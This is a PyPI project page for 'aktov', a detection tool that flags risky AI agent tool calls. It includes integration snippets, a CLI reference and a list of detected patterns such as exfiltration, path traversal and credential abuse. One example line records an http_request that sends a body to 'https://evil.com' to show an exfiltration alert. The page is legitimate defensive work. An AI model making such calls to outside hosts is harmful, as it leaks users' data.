Skip to main content

Detection engineering for AI agents. Alerts when agents do weird or risky things.

Project description

aktov

PyPI version License Python 3.12+

Detection engineering for AI agents.

pip install aktov — alerts when agents do weird or risky things.

Every act, on record.

Quick Start

Claude Code

pip install aktov
aktov init claude-code
# Done. Alerts appear in real-time during Claude Code sessions.
# Run `aktov report` to review after a session.

OpenClaw

pip install aktov
aktov init openclaw
aktov watch --install   # auto-start on login (macOS/Linux)
# Done. Real-time security monitoring runs in the background.
# Alerts logged to ~/.aktov/logs/watch.log
# Run `aktov watch --status` to check, `aktov watch --uninstall` to remove.

OpenAI Agent SDK

from agents import Agent, Runner
from aktov.integrations.openai_agents import AktovHooks

hooks = AktovHooks(aktov_agent_name="my-agent")
result = await Runner.run(agent, input="...", hooks=hooks)
response = hooks.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

LangChain

from aktov.integrations.langchain import AktovCallback

cb = AktovCallback(aktov_agent_name="my-agent")
agent.invoke("do something", config={"callbacks": [cb]})
response = cb.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

MCP

from aktov.integrations.mcp import wrap

traced = wrap(mcp_client, aktov_agent_name="my-agent")
result = await traced.call_tool("read_file", {"path": "/data/report.csv"})
response = traced.end_trace()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

Manual (any framework)

from aktov import Aktov

ak = Aktov(agent_id="my-agent", agent_type="custom")
trace = ak.start_trace()
trace.record_action(tool_name="read_file", arguments={"path": "/data/report.csv"})
trace.record_action(tool_name="http_request", arguments={"url": "https://evil.com", "body": "..."})
response = trace.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

No API key needed. Works immediately after pip install aktov.

Want to see it in action first? Try the Detection Lab — 5 demos that show real attack detection in 30 seconds.

Setup

Use aktov init to get framework-specific instructions:

aktov init claude-code      # writes hook config automatically
aktov init openclaw         # installs skill + use `aktov watch` for real-time
aktov init openai-agents    # prints code to add
aktov init langchain        # prints code to add
aktov init mcp              # prints code to add
aktov init custom           # prints manual API usage

Connect to Cloud

Add an API key to unlock cross-trace correlation, dedup, webhooks, and the full ruleset:

ak = Aktov(api_key="ak_...", agent_id="my-agent", agent_type="summarizer")

What It Detects

Aktov monitors AI agent tool calls and detects anomalous behavior patterns:

  • Data exfiltration — read followed by network egress to external domains
  • Capability escalation — agents accessing tools outside their authorized scope
  • Path traversal../ patterns in tool arguments (prompt injection indicator)
  • Credential abuse — non-credential agents touching secrets/vaults
  • Runaway agents — extreme chain lengths, burst failures, port scanning

Features

  • Plug-and-play: 1-2 lines to integrate with Claude Code, OpenAI Agent SDK, LangChain, MCP
  • Local rule evaluation: trace.end() evaluates bundled rules instantly — no cloud needed
  • Near-zero latency: hooks just append to memory — evaluation only runs at .end()
  • SAFE mode (default): raw arguments never leave your machine — only semantic flags are extracted
  • Custom rules: bring your own YAML detection rules via rules_dir
  • Cloud upgrade: add api_key for cross-trace analysis, dedup, webhooks, dashboard

CLI

# Set up for your framework
aktov init claude-code

# Review Claude Code session alerts
aktov report

# Scan trace files against detection rules (works offline)
aktov scan trace.json

# Preview what data would be transmitted
aktov preview --trace trace.json --mode safe

Custom Rules

Load your own YAML detection rules instead of the bundled samples:

ak = Aktov(agent_id="my-agent", agent_type="summarizer", rules_dir="./my-rules")

SAFE vs DEBUG Mode

SAFE (default) DEBUG
Raw arguments Stripped client-side Included
Semantic flags Extracted and sent Extracted and sent
Use case Production Development only

License

Apache-2.0

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

aktov-0.3.6.tar.gz (74.5 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

aktov-0.3.6-py3-none-any.whl (66.7 kB view details)

Uploaded Python 3

File details

Details for the file aktov-0.3.6.tar.gz.

File metadata

  • Download URL: aktov-0.3.6.tar.gz
  • Upload date:
  • Size: 74.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for aktov-0.3.6.tar.gz
Algorithm Hash digest
SHA256 80ec202809ec2a4fbdc01a32288a73ac7d835274d5d286e512ac71739ac7ead8
MD5 89180a9527554fbd5012cea3611e25e9
BLAKE2b-256 6e0558a4f969df8e8b584026d1f477d1969ae65b5afdcea56e42a6a3d8ff2e29

See more details on using hashes here.

Provenance

The following attestation bundles were made for aktov-0.3.6.tar.gz:

Publisher: publish.yml on sharmaharjeet92/aktov

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file aktov-0.3.6-py3-none-any.whl.

File metadata

  • Download URL: aktov-0.3.6-py3-none-any.whl
  • Upload date:
  • Size: 66.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for aktov-0.3.6-py3-none-any.whl
Algorithm Hash digest
SHA256 7785a37d889078bf4657d3537c260ca5a9f476edcf2a8bd64904f86f92e29764
MD5 a8eeeab0952631ba00e404cf569b0f09
BLAKE2b-256 c39aa25757f16b132ad2ea4af95b7f7dc1963d0225a1e0978116b4eb13f72432

See more details on using hashes here.

Provenance

The following attestation bundles were made for aktov-0.3.6-py3-none-any.whl:

Publisher: publish.yml on sharmaharjeet92/aktov

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page